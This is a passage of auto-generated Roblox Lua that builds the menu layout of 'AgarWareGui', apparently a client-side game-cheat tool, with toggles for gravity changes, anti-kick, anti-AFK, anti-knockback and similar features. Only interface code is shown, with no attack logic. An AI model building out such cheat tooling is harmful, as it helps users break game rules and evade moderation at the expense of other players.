G2L["34"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["34"]["BorderMode"] = Enum.BorderMode.Middle; G2L["34"]["Size"] = UDim2.new(0, 170, 0, 101); G2L["34"]["Position"] = UDim2.new(0, 0, 0.49722, 0); G2L["34"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["34"]["Name"] = [[MiscGroup]]; G2L["34"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscScript G2L["35"] = Instance.new("LocalScript", G2L["34"]); G2L["35"]["Name"] = [[MiscScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.UIListLayout G2L["36"] = Instance.new("UIListLayout", G2L["34"]); G2L["36"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscAccentColor G2L["37"] = Instance.new("Frame", G2L["34"]); G2L["37"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["37"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["37"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["37"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["37"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["37"]["Name"] = [[MiscAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscTitle G2L["38"] = Instance.new("TextLabel", G2L["34"]); G2L["38"]["TextWrapped"] = true; G2L["38"]["BorderSizePixel"] = 0; G2L["38"]["TextSize"] = 14; G2L["38"]["TextScaled"] = true; G2L["38"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["38"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["38"]["BackgroundTransparency"] = 0.95; G2L["38"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["38"]["Text"] = [[Misc]]; G2L["38"]["LayoutOrder"] = 1; G2L["38"]["Name"] = [[MiscTitle]]; G2L["38"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscTitle.MiscMinimize G2L["39"] = Instance.new("TextButton", G2L["38"]); G2L["39"]["BorderSizePixel"] = 0; G2L["39"]["TextSize"] = 14; G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["39"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["39"]["BackgroundTransparency"] = 1; G2L["39"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["Text"] = [[-]]; G2L["39"]["Name"] = [[MiscMinimize]]; G2L["39"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow G2L["3a"] = Instance.new("Frame", G2L["34"]); G2L["3a"]["BorderSizePixel"] = 0; G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["3a"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["3a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3a"]["Name"] = [[RejoinRow]]; G2L["3a"]["LayoutOrder"] = 10; G2L["3a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinScript G2L["3b"] = Instance.new("LocalScript", G2L["3a"]); G2L["3b"]["Name"] = [[RejoinScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinButton G2L["3c"] = Instance.new("TextButton", G2L["3a"]); G2L["3c"]["TextSize"] = 14; G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3c"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["3c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["3c"]["Text"] = [[Rejoin Server]]; G2L["3c"]["Name"] = [[RejoinButton]]; G2L["3c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow G2L["3d"] = Instance.new("Frame", G2L["34"]); G2L["3d"]["BorderSizePixel"] = 0; G2L["3d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["3d"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["3d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["3d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3d"]["Name"] = [[GravityRow]]; G2L["3d"]["LayoutOrder"] = 2; G2L["3d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityTickBox G2L["3e"] = Instance.new("TextButton", G2L["3d"]); G2L["3e"]["TextSize"] = 14; G2L["3e"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3e"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["3e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["3e"]["Text"] = [[]]; G2L["3e"]["Name"] = [[GravityTickBox]]; G2L["3e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityText G2L["3f"] = Instance.new("TextLabel", G2L["3d"]); G2L["3f"]["BorderSizePixel"] = 0; G2L["3f"]["TextSize"] = 14; G2L["3f"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["3f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["3f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3f"]["BackgroundTransparency"] = 1; G2L["3f"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["3f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3f"]["Text"] = [[Set Gravity]]; G2L["3f"]["Name"] = [[GravityText]]; G2L["3f"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityChanger G2L["40"] = Instance.new("TextBox", G2L["3d"]); G2L["40"]["Name"] = [[GravityChanger]]; G2L["40"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["40"]["TextWrapped"] = true; G2L["40"]["TextSize"] = 14; G2L["40"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["40"]["TextScaled"] = true; G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["40"]["PlaceholderText"] = [[(196.2)]]; G2L["40"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["40"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["40"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["40"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow G2L["41"] = Instance.new("Frame", G2L["34"]); G2L["41"]["BorderSizePixel"] = 0; G2L["41"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["41"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["41"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["41"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["41"]["Name"] = [[BoostFPSRow]]; G2L["41"]["LayoutOrder"] = 2; G2L["41"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow.BoostFPSTickBox G2L["42"] = Instance.new("TextButton", G2L["41"]); G2L["42"]["TextSize"] = 14; G2L["42"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["42"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["42"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["42"]["Text"] = [[]]; G2L["42"]["Name"] = [[BoostFPSTickBox]]; G2L["42"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow.BoostFPSText G2L["43"] = Instance.new("TextLabel", G2L["41"]); G2L["43"]["BorderSizePixel"] = 0; G2L["43"]["TextSize"] = 14; G2L["43"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["43"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["43"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["43"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["43"]["BackgroundTransparency"] = 1; G2L["43"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["43"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["43"]["Text"] = [[Boost FPS]]; G2L["43"]["Name"] = [[BoostFPSText]]; G2L["43"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow G2L["44"] = Instance.new("Frame", G2L["34"]); G2L["44"]["BorderSizePixel"] = 0; G2L["44"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["44"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["44"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["Name"] = [[RespawnDeathRow]]; G2L["44"]["LayoutOrder"] = 2; G2L["44"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow.RespawnDeathTickBox G2L["45"] = Instance.new("TextButton", G2L["44"]); G2L["45"]["TextSize"] = 14; G2L["45"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["45"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["45"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["45"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["45"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["45"]["Text"] = [[]]; G2L["45"]["Name"] = [[RespawnDeathTickBox]]; G2L["45"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow.RespawnDeathText G2L["46"] = Instance.new("TextLabel", G2L["44"]); G2L["46"]["BorderSizePixel"] = 0; G2L["46"]["TextSize"] = 14; G2L["46"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["46"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["46"]["BackgroundTransparency"] = 1; G2L["46"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["46"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["46"]["Text"] = [[Respawn at Death]]; G2L["46"]["Name"] = [[RespawnDeathText]]; G2L["46"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide G2L["47"] = Instance.new("Frame", G2L["18"]); G2L["47"]["BorderSizePixel"] = 0; G2L["47"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["47"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["47"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["47"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["47"]["Name"] = [[MainRightSide]]; G2L["47"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.UIListLayout G2L["48"] = Instance.new("UIListLayout", G2L["47"]); G2L["48"]["Padding"] = UDim.new(0, 7); G2L["48"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup G2L["49"] = Instance.new("Frame", G2L["47"]); G2L["49"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["49"]["BorderMode"] = Enum.BorderMode.Middle; G2L["49"]["Size"] = UDim2.new(0, 170, 0, 147); G2L["49"]["Position"] = UDim2.new(0.01176, 0, 0.40278, 0); G2L["49"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["49"]["Name"] = [[AntiGroup]]; G2L["49"]["LayoutOrder"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiScript G2L["4a"] = Instance.new("LocalScript", G2L["49"]); G2L["4a"]["Name"] = [[AntiScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.UIListLayout G2L["4b"] = Instance.new("UIListLayout", G2L["49"]); G2L["4b"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAccentColor G2L["4c"] = Instance.new("Frame", G2L["49"]); G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["4c"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["4c"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["4c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["4c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["4c"]["Name"] = [[AntiAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiTitle G2L["4d"] = Instance.new("TextLabel", G2L["49"]); G2L["4d"]["TextWrapped"] = true; G2L["4d"]["BorderSizePixel"] = 0; G2L["4d"]["TextSize"] = 14; G2L["4d"]["TextScaled"] = true; G2L["4d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["4d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4d"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["4d"]["BackgroundTransparency"] = 0.95; G2L["4d"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["4d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4d"]["Text"] = [[Anti]]; G2L["4d"]["LayoutOrder"] = 1; G2L["4d"]["Name"] = [[AntiTitle]]; G2L["4d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiTitle.AntiMinimize G2L["4e"] = Instance.new("TextButton", G2L["4d"]); G2L["4e"]["BorderSizePixel"] = 0; G2L["4e"]["TextSize"] = 14; G2L["4e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["4e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4e"]["BackgroundTransparency"] = 1; G2L["4e"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["4e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4e"]["Text"] = [[-]]; G2L["4e"]["Name"] = [[AntiMinimize]]; G2L["4e"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow G2L["4f"] = Instance.new("Frame", G2L["49"]); G2L["4f"]["BorderSizePixel"] = 0; G2L["4f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["4f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["4f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["4f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4f"]["Name"] = [[AntiFlingRow]]; G2L["4f"]["LayoutOrder"] = 3; G2L["4f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow.AntiFlingTickBox G2L["50"] = Instance.new("TextButton", G2L["4f"]); G2L["50"]["TextSize"] = 14; G2L["50"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["50"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["50"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["50"]["Text"] = [[]]; G2L["50"]["Name"] = [[AntiFlingTickBox]]; G2L["50"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow.AntiFlingText G2L["51"] = Instance.new("TextLabel", G2L["4f"]); G2L["51"]["BorderSizePixel"] = 0; G2L["51"]["TextSize"] = 14; G2L["51"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["51"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["51"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["51"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["51"]["BackgroundTransparency"] = 1; G2L["51"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["51"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["51"]["Text"] = [[Anti Fling]]; G2L["51"]["Name"] = [[AntiFlingText]]; G2L["51"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow G2L["52"] = Instance.new("Frame", G2L["49"]); G2L["52"]["BorderSizePixel"] = 0; G2L["52"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["52"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["52"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["52"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["52"]["Name"] = [[AntiAfkRow]]; G2L["52"]["LayoutOrder"] = 3; G2L["52"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow.AntiAfkTickBox G2L["53"] = Instance.new("TextButton", G2L["52"]); G2L["53"]["TextSize"] = 14; G2L["53"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["53"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["53"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["53"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["53"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["53"]["Text"] = [[]]; G2L["53"]["Name"] = [[AntiAfkTickBox]]; G2L["53"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow.AntiAfkText G2L["54"] = Instance.new("TextLabel", G2L["52"]); G2L["54"]["BorderSizePixel"] = 0; G2L["54"]["TextSize"] = 14; G2L["54"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["54"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["54"]["BackgroundTransparency"] = 1; G2L["54"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["54"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["54"]["Text"] = [[Anti AFK]]; G2L["54"]["Name"] = [[AntiAfkText]]; G2L["54"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow G2L["55"] = Instance.new("Frame", G2L["49"]); G2L["55"]["BorderSizePixel"] = 0; G2L["55"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["55"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["55"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["55"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["55"]["Name"] = [[AntiRagdollRow]]; G2L["55"]["LayoutOrder"] = 3; G2L["55"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow.AntiRagdollTickBox G2L["56"] = Instance.new("TextButton", G2L["55"]); G2L["56"]["TextSize"] = 14; G2L["56"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["56"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["56"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["56"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["56"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["56"]["Text"] = [[]]; G2L["56"]["Name"] = [[AntiRagdollTickBox]]; G2L["56"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow.AntiRagdollText G2L["57"] = Instance.new("TextLabel", G2L["55"]); G2L["57"]["BorderSizePixel"] = 0; G2L["57"]["TextSize"] = 14; G2L["57"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["57"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["57"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["57"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["57"]["BackgroundTransparency"] = 1; G2L["57"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["57"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["57"]["Text"] = [[Anti Ragdoll]]; G2L["57"]["Name"] = [[AntiRagdollText]]; G2L["57"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow G2L["58"] = Instance.new("Frame", G2L["49"]); G2L["58"]["BorderSizePixel"] = 0; G2L["58"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["58"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["58"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["58"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["58"]["Name"] = [[AntiVoidRow]]; G2L["58"]["LayoutOrder"] = 3; G2L["58"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow.AntiVoidTickBox G2L["59"] = Instance.new("TextButton", G2L["58"]); G2L["59"]["TextSize"] = 14; G2L["59"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["59"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["59"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["59"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["59"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["59"]["Text"] = [[]]; G2L["59"]["Name"] = [[AntiVoidTickBox]]; G2L["59"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow.AntiVoidText G2L["5a"] = Instance.new("TextLabel", G2L["58"]); G2L["5a"]["BorderSizePixel"] = 0; G2L["5a"]["TextSize"] = 14; G2L["5a"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["5a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5a"]["BackgroundTransparency"] = 1; G2L["5a"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["5a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5a"]["Text"] = [[Anti Void]]; G2L["5a"]["Name"] = [[AntiVoidText]]; G2L["5a"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow G2L["5b"] = Instance.new("Frame", G2L["49"]); G2L["5b"]["BorderSizePixel"] = 0; G2L["5b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["5b"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["5b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["5b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5b"]["Name"] = [[AntiKBRow]]; G2L["5b"]["LayoutOrder"] = 3; G2L["5b"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow.AntiKBTickBox G2L["5c"] = Instance.new("TextButton", G2L["5b"]); G2L["5c"]["TextSize"] = 14; G2L["5c"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5c"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["5c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["5c"]["Text"] = [[]]; G2L["5c"]["Name"] = [[AntiKBTickBox]]; G2L["5c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow.AntiKBText G2L["5d"] = Instance.new("TextLabel", G2L["5b"]); G2L["5d"]["BorderSizePixel"] = 0; G2L["5d"]["TextSize"] = 14; G2L["5d"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["5d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["5d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5d"]["BackgroundTransparency"] = 1; G2L["5d"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["5d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5d"]["Text"] = [[Anti Knockback]]; G2L["5d"]["Name"] = [[AntiKBText]]; G2L["5d"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow G2L["5e"] = Instance.new("Frame", G2L["49"]); G2L["5e"]["BorderSizePixel"] = 0; G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["5e"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["5e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); 